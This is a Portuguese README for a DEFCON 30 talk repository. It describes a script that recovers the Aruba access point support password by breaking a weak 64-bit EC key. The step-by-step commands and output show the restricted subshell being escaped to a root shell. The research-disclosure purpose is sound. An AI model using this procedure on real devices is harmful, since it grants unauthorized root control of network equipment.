
Material de apoio para a palestra "Hunting Bugs In The Tropics" da DEFCON 30
Este é um repositório com os slides usados na minha apresentação "Hunting Bugs in the Tropics" no DEFCON30. Ele inclui o script Python usado para calcular a senha de suporte com base na chave privada obtida ao quebrar a chave pública EC do suporte da Aruba, devido ao seu tamanho fraco (64 bits). Isso permite que você escape do subshell nesses dispositivos e obtenha um shell root completo.
Você pode usá-lo executando support na CLI do AP e fornecendo um nome de usuário arbitrário:
# support
Username (Please enter with @domain.com, in lowercase): a
Token: ED14-B132-D4BB-D428
Please generate one time password at https://ase.arubanetworks.com/decode_aos_key
Support Password:
em seguida, passe o nome de usuário e o valor do Token para o script support-access.py neste repositório.
$ ./support-access.py a ED14-B132-D4BB-D428
Password: 4197d68283f73d5c
Cole a resposta como a Senha de Suporte:
Support Password: 4197d68283f73d5c
Switching to Full Access
~ # whoami
root